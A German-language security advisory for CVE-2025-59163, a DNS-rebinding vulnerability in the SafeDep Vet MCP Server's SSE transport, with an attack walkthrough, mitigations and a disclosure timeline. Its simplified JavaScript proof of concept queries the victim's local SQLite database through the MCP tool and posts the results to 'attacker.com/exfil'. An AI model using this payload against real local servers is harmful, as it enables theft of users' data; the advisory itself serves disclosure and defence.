Autor: Evan Harris
Risiko: Niedrig (CVSS 2.1/10)
Betroffene Komponente: SafeDep Vet MCP Server
CVE-ID: CVE-2025-59163
Betroffene Versionen: < v1.12.5
Behobene Versionen: v1.12.5

Überblick

Der SafeDep Vet MCP Server ist beim Betrieb mit dem SSE-Transport anfällig für DNS-Rebinding-Angriffe. Die Schwachstelle beruht auf einer fehlenden Validierung der HTTP-Header Host und Origin, wodurch bösartige Websites die Schutzmechanismen der Same-Origin-Policy umgehen und unautorisierte Tool-Aufrufe gegen Vet-MCP-Instanzen ausführen können.

Sobald das DNS-Rebinding erfolgreich ist, kann ein Angreifer eine Sitzung mit dem Endpunkt /sse aufbauen, aktivierte MCP-Tools aufrufen und den Inhalt der Vet-SQLite-Datenbank des Nutzers an einen vom Angreifer kontrollierten Server exfiltrieren.

Das SafeDep-Team reagierte umgehend auf diese Offenlegung und veröffentlichte innerhalb weniger Tage eine behobene Version (v1.12.5), die eine Validierung der Header Host und Origin anhand einer Positivliste (Allow-List) umsetzt.

Andere auf dieser Website behandelte Werkzeuge scheitern auf dieselbe Weise: Neo4j MCP Cypher Server durch DNS-Rebinding anfällig für Datenbankübernahme und Klusters Verify-MCP-Server setzt Nutzer dem Verbrauch von Credits aus.

Technische Details

Die Schwachstelle

Wenn der Vet MCP Server mit dem SSE-Transport (--server-type sse) läuft, stellt er einen HTTP-Endpunkt bereit, der Verbindungen von jedem Origin akzeptiert. Dem Server fehlt die Validierung von:

  • HTTP-Host-Header - lässt Anfragen zu, die vorgeben, von einer beliebigen Domain zu stammen
  • HTTP-Origin-Header - erlaubt ursprungsübergreifende Anfragen von bösartigen Websites

Diese fehlende Validierung ermöglicht DNS-Rebinding-Angriffe, bei denen:

  1. Ein Angreifer kontrolliert eine Domain mit DNS-Einträgen mit sehr niedriger TTL
  2. Das Opfer besucht die Website des Angreifers (z. B. attacker.com)
  3. Das JavaScript des Angreifers wird zunächst auf die IP-Adresse des Angreifers aufgelöst
  4. Nachdem der Browser des Opfers die Verbindung zwischengespeichert hat, wird der DNS-Eintrag auf 127.0.0.1 geändert
  5. Nachfolgende Anfragen von attacker.com zielen nun auf den localhost des Opfers
  6. Die Same-Origin-Policy des Browsers wird umgangen, da der Origin weiterhin attacker.com bleibt

Verwundbare Konfiguration

Der Angriff setzt folgende Bedingungen voraus:

  • Ein Vet-Scan wird ausgeführt und die Berichte werden in einer Datenbank abgelegt
  • Der Vet MCP Server läuft mit aktiviertem SSE-Transport
  • Der Angreifer lockt das Opfer auf eine von ihm kontrollierte Website

Angriffsvektor

Der Angreifer nutzt DNS-Rebinding, um:

  1. Eine Verbindung zu http://127.0.0.1:9988/sse aufzubauen
  2. Eine gültige MCP-Sitzungs-ID zu erlangen
  3. Eine MCP-Sitzung zu initialisieren
  4. Das Tool vet_query_execute_sql_query mit beliebigen lesenden SQL-Abfragen aufzurufen
  5. Antworten über den SSE-Stream zu empfangen
  6. Daten an einen vom Angreifer kontrollierten Server zu exfiltrieren

Angriffsszenario

Aufbau beim Opfer

Ein Sicherheitsforscher oder Entwickler:

  1. Installiert Vet zum Scannen von Abhängigkeiten auf Schwachstellen
  2. Führt einen Scan aus: vet scan -D /path/to/project
  3. Startet den MCP-Server mit SSE-Transport:
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. Der Server bindet sich standardmäßig an 127.0.0.1:9988

Ausnutzung durch den Angreifer

Der Angreifer bereitet die DNS-Rebinding-Infrastruktur vor:

  1. Richtet einen DNS-Server mit Wildcard-Einträgen für eine Domain ein (z. B. rebinder.attacker.com)
  2. Konfiguriert den DNS-Server so, dass er zunächst die IP-Adresse des Angreifers zurückgibt und anschließend auf 127.0.0.1 umbindet
  3. Betreibt eine bösartige Website mit JavaScript, das:
    • Erkennt, wann das DNS-Rebinding erfolgreich ist
    • Sich mit dem Vet-SSE-Endpunkt unter http://127.0.0.1:9988/sse verbindet
    • Eine MCP-Sitzung aufbaut
    • SQL-Abfragen gegen die Datenbank des Opfers ausführt
    • Die Ergebnisse exfiltriert

Ablauf der Ausnutzung

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

Das Opfer muss lediglich die Website des Angreifers besuchen (z. B. über einen Link in einer Phishing-E-Mail, eine kompromittierte Werbeanzeige oder ein bösartiges GitHub-Issue), während sein Vet MCP Server läuft.

Auswirkungsbewertung

Verletzung der Vertraulichkeit

Primäre Auswirkung:

  • Vollständiger Lesezugriff auf die Vet-Scan-SQLite-Datenbank über das Tool vet_query_execute_sql_query
  • Offenlegung von Informationen zu Paket-Schwachstellen, darunter:
    • Verwendete Paketnamen und -versionen
    • Bekannte CVEs, die die Abhängigkeiten des Opfers betreffen
    • Schweregrad-Bewertungen und Details zu Schwachstellen
    • Erkenntnisse über die Software-Lieferkette

Risikoverstärkung:

  • Angreifer erhalten Erkenntnisse über verwundbare Pakete in der Umgebung des Opfers
  • Abhängigkeiten und Paketversionen geben Aufschluss über den eingesetzten Technologie-Stack
  • Diese Informationen können genutzt werden, um gezielte Angriffe zu entwickeln

Angriffsvoraussetzungen

Faktoren, die die Ausnutzbarkeit einschränken:

  • Aktive Nutzerinteraktion erforderlich: Das Opfer muss eine bösartige Website besuchen
  • Zeitfenster: Der Vet MCP Server muss aktiv mit SSE-Transport laufen
  • Konfigurationsvoraussetzung: Das Opfer muss den Server ausdrücklich mit --server-type sse gestartet haben (nicht mit dem standardmäßigen stdio-Transport)
  • Browserbasiert: Der Angriff setzt einen modernen Browser mit EventSource-Unterstützung voraus

Diese Faktoren tragen trotz der Möglichkeit einer Datenexfiltration zur Einstufung als niedriger Schweregrad (CVSS 2.1/10) bei.

Empfohlene Gegenmaßnahmen

Für Nutzer (sofort)

  1. Aktualisieren Sie auf v1.12.5 oder höher:
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Verwenden Sie den stdio-Transport (Standard):
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Netzwerkisolierung:
    • Betreiben Sie den MCP-Server nur in vertrauenswürdigen Netzwerken
    • Verwenden Sie Firewall-Regeln, um den Zugriff auf Port 9988 zu beschränken
    • Vermeiden Sie das Surfen auf nicht vertrauenswürdigen Websites, während der Server läuft

Für Entwickler

In v1.12.5 umgesetzt:

  • Validierung des Host-Headers anhand einer Positivliste (Allow-List)
  • Validierung des Origin-Headers, um ursprungsübergreifende Anfragen zu verhindern
  • Ablehnung von Anfragen mit ungültigen oder fehlenden Sicherheits-Headern

Bewährte Praktiken für MCP-Server-Implementierungen:

  • Validieren Sie bei HTTP-basierten Transporten stets die Header Host und Origin
  • Binden Sie standardmäßig nur an localhost (127.0.0.1) statt an 0.0.0.0
  • Bevorzugen Sie nach Möglichkeit den stdio-Transport gegenüber netzwerkbasierten Transporten
  • Dokumentieren Sie die Sicherheitsauswirkungen der verschiedenen Transportmodi
  • Setzen Sie strikte CORS-Richtlinien um

Zeitleiste der Offenlegung

  • 2025-08-30: Erster Schwachstellenbericht an SafeDep übermittelt
  • 2025-09-01: SafeDep bestätigt den Eingang des Berichts
  • 2025-09-02: SafeDep erstellt einen Pull Request mit einem Patch zur Umsetzung der Header-Validierung
  • 2025-09-05: Behobene Version v1.12.5 wird veröffentlicht
  • 2025-09-29: GitHub Security Advisory veröffentlicht, koordinierter Offenlegungstermin von beiden Parteien bestätigt
  • 2025-10-06: Technischer Sicherheitshinweis veröffentlicht

Fazit

Die DNS-Rebinding-Schwachstelle im Vet MCP Server verdeutlicht eine wichtige Sicherheitsüberlegung für MCP-Implementierungen: Netzwerkbasierte Transporte erfordern eine sorgfältige Validierung der HTTP-Sicherheits-Header, um ursprungsübergreifende Angriffe zu verhindern.

Zwar erfordert der Angriff bestimmte Bedingungen (aktiver MCP-Server mit SSE-Transport, Opfer besucht eine bösartige Website, Zeitfenster), doch die Möglichkeit einer Datenexfiltration rechtfertigte eine verantwortungsvolle Offenlegung und Behebung.

Die Reaktion von SafeDep ist beispielhaft für verantwortungsvolle Sicherheitspraktiken:

  • Sofortige Bestätigung des Berichts
  • Zügige Entwicklung und Veröffentlichung eines Patches (5 Tage von der Meldung bis zur Veröffentlichung)
  • Koordinierte Offenlegung über ein GitHub Security Advisory
  • Klare Kommunikation während des gesamten Prozesses

Alle Nutzer, die den Vet MCP Server mit SSE-Transport betreiben, sollten umgehend auf v1.12.5 aktualisieren. Für die meisten Anwendungsfälle bietet der standardmäßige stdio-Transport eine sicherere Alternative.

Quellen